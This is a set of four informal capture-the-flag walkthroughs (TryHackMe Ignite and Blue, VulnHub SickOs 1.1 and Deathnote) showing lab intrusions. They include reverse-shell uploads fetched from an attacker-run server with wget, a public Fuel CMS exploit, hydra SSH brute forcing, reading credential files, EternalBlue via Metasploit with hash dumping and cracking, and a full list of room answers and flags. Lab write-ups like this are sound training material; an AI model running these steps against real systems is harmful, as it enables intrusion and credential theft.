Ignite

after connecting to the VPN lets run a nmap scan, here is the result :

HTTP is open lets check it on the website

the website is made using fuel cms . by scrolling down we can see this details:

its working and i found a page to upload files. letss try to upload reverse shell file 😉.

php reverse shell uploading is not working.

we know the version of the fuel cms is 1.4.1. we have to check now is there any vulnerablity available in that version so checked in exploit-db for scripts.

https://www.exploit-db.com/exploits/50477

and 50477.py worked for me, this is how it should use:

this shell have limited capablities so lets try to take reverse shell from there.

lets try uploading reverse shell using python http.server

take the reverse.php file from here and edit the ip address to your vpn ip:

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell

$wget http://10.18.29.118:8000/reverse.php

lets visit the reverse shell file like this before the visit you need to listen the port you mentioned like this:

now we got the real shell!!

the first flag is in :

cat /home/www-data/flag.txt

now we dont have the permission visit /root or we cannot escalate the user

lets check for the password for root. here we can find some database credentials:

cat /var/www/html/fuel/application/config/database.php

  'username' => 'root',
        'password' => 'mememe',

lets see can we escalate to root using this credentials👀 lets check ‘su root’ is working

the final flag is in :

cat /root/root.txt

thank you for checking this writeup.

your regards,

xer

This is a simple walkthrough for sickos 1.1 vulnerable machine of vulnhub.

SickOs: 1.1

It is a simple machine. As far as I’ve used it, it’s at an easy level🐣.

08: … is the default of my virtual machines, so I tried it through nmap. Once we have the IP address, the next step is always to determine the services running on the target machine, along with their versions. NMAP enables us to check for associated vulnerabilities in the current service versions, and for that, the NMAP scripting engine comes into play.

from this nmap result i found there is two open ports and 1 closed port.So it’s clear that we can access the website via proxy port.

we have a open port 3128 and it is a proxy address so i tried to access it by mentioning the port via browser. it doesn’t seem to be working. so now go to your browser settings > search proxy>set the manual proxy configuration like this:

now try to access by removing the proxy port number and , it is working:

Ohkay!! now let’s check what’s in the robots.txt file.

after this tried to access /wolfcms directory

AAAHHH!!! as i expected it is a content management system. after this i tried many things and i tried to access the cms ‘s admin login page .

http://192.168.1.34/wolfcms/?/admin/login

by researching and googling i found that this is how admin login page is look like.☝️

and we found it

tried default credentials like ‘admin’ ‘admin’ to access the admin page and it is working 😎😎. by looking iteratively i found a file uploading section and tried reverse shell uploading. successfully uploaded!!.

this is the reverse shell script i used:

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell

change tha IP address to your IP address and port number as u need.

now we need to execute it by opening the file via browser. it was in this directory:

http://192.168.1.34/wolfcms/public/

now we use netcat to listen:

now open the reverse.PHP file to get connection.

lets see will we get DBname and pass from CMS’s config.php file

found this and lets try the password for escalation

here i found a home folder for ‘sickos’ user lets change the user to sickos user.

python -c 'import pty;pty.spawn("/bin/bash")'

this is a way to spawn a more interactive shell (/bin/bash) when you have a limited shell or a restricted environment.By doing this, you might gain access to additional functionalities, commands, or permissions that were not available in the restricted shell, allowing you to perform more advanced actions or tasks.

and it is working.

Hooray! SickOS 1.1 conquered!

hope you enjoyed this walkthrough.

Wishing you continued success in your cybersecurity endeavors.

Warm Regards,

xer

Get set to explore the captivating Deathnote saga with our complete walkthrough, uncovering every exciting twist and detail of this thrilling journey.

nmap -Pn -v 19.168.1.53

here we found http and ssh ports are open

like everytime i go for http first so i tried to paste the ip in browser and the ip changed to a domain name like this

for better further steps change /etc/hosts on our computer:

while the reconnaissance i found a hint button on the websites and i checked the page source and i found out a directory where the image is stored:

http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/cropped-kiralogo.jpeg

this is the path of that image file.

deathnote.vuln/wordpress/wp-content/uploads/2021/07/

i have shorted this and go to this directory and find out somany files and two wordlist type of files and i saved it for further use.

i searched directories through dirsearch tool.

checked and every directories and found /wordpress/wp-login.php and /robots.txt(found some information from this file)

they are saying to go to /important.jpg but i found nothing from that. so i have used curl tool here to enumerate something from the page.

# curl http://192.168.1.53/important.jpg

This confirms that user.txt can be used as a wordlist for usernames and notes.txt can be used for passwords.

so next we use hydra to bruteforce into taget’s ssh port

# hydra -L user.txt -P notes.txt 192.168.1.53 ssh

found credentials username “l” and password “death4me”

# ssh l@192.168.1.53

successfully loged into ssh using that credentials. and found a text in + - > < like that and by googling i came to know that it was a brainfuck language .

permission denied!!

Lets dig deeper to see if we can find some useful information.and i found 2 useful directories in /opt/L/

so there is something in fake-notebook-rule folder

as they said using cyberchef to decode it. i found it is a hex

(used magic in cyberchef to find out both encodings)

found passwd is

kiraisevil

escalation done. and we are now kira user.

i tried to escalate to super user by same password i got and it is working and tried to access the root folder look what i have found.

additional informations i found:

while the reconnaissance step i used this things to login to their wordpress admin page:

i hope this simple writeup will be useful and interesting for you.

Thanks for reading!

x3r

Step 1: Scanning for Weak Spots 🛡️

Use the following nmap scan

#nmap — script vuln -Pn 10.10.38.135

The above scan command is used to perform a vulnerability scan.

” — script vuln” is a default flag for vulnerability script scan.

Step 2: Knocking on Doors 🚪

After scanning, we found a weak spot called ‘ms17–010’, also known as Eternal Blue. It’s a secret door into the system. Think of it like finding a hidden entrance to a castle!

After performing the nmap scan, this is what we found in the last line:

smb-vuln-ms17–010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17–010) | State: VULNERABLE | IDs: CVE:CVE-2017–0143 | Risk factor: HIGH

in this its saying about ms17–010 it is a microsoft’s bulletin id for a critical security vulnerablity .it is known as eternal blue. if search in internet about ‘ms17–010’ we will get details about eternal blue.

and there is also a thing like this ‘CVE-2017–0143’ it is id of listing in Common Vulnerability Exposure.

Step 3: Breaking In 🚀

next step is to open msfconsole and search for ‘ms17–010’.

msfconsole is metasploit’s command line interface. we need to check in metasploit for is there a exploit for that windows vulnerability to get into that machine.

so run

#msfconsole

#search ms17–010

after searching this find exploit module and select with serial number for easy selecting here the exploit is in 0th position so i use ‘use 0’

#use 0

after that

#show options

for showing what options are there for exploiting with the module.

here RHOSTS,RPORT means host and port of the target.

LHOST,LPORT means your ip and port .

here we need to change the RHOSTS . the target ip is as you know from the machines ip. (#set rhosts 10.10.38.135).

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.251.65

LHOST is your vpn’s ip (also known as tunnel ip) (#set LHOST tun0).

msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost tun0

now we have to set payload my this command

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload

we need meterpreter shell to this . meterpreter is a shell of metasploit used by penetration testers and attackers. meterpreter offers a wide range of functionalities for remote control ,data extraction, privilege escalation ,and more.

normally we have to add payload manually . here we don’t need to do that by this command it will add payload automatically.

now its time for exploit (or you can use ‘run’) command :

#exploit

by this command we will break into that machine.

Step 5: The Treasure Hunt 🏴‍☠️

‘ps’ command in meterpreter shell used for running process listing.

#ps

here the user we are using is ‘nt authority/system’ . i tried to migrate to services by this simply typing this command.

#migrate 692

now we use this command to dump the hashes

#hashdump

here we see a user jon he is admin of the system. crack the hash of it using crack station.

or we can use john the ripper tool in kali linux for cracking this. we found it is NTLM type of hash😎.

echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > hash.txt

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

here i mentioned ‘nt’ in ‘ — format’ is for mentioning NTLM hash type. and we used rockyou.txt wordlist for cracking this hash.

Answer: alqfna22

so when we look into the question . there they was saying that the flag is in this format flag*.txt. so i am coming back to my meterpreter shell for searching the flag.

i checked my current working directory by ‘getwd’ command:

this is the command for searching flag*.txt in meterpreter type of shell.

meterpreter > search -f flag*.txt

That’s our thrilling adventure in the world of hacking! Remember, it’s about learning and having fun. Happy hacking! 🚀✨

all the questions asked in tryhackme and its answers:

1.How many ports are open with a port number under 1000?

3

2. What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)

ms17–010

3.If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use?

post/multi/manage/shell_to_meterpreter

4.Select this (use MODULE_PATH). Show options, what option are we required to change?

SESSION

5.Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Jon

6.Copy this password hash to a file and research how to crack it. What is the cracked password?

alqfna22

7.Flag1? This flag can be found at the system root.

flag{access_the_machine}

8.Flag2? This flag can be found at the location where passwords are stored within Windows.

flag{sam_database_elevated_access}

9.flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

flag{admin_documents_can_be_valuable}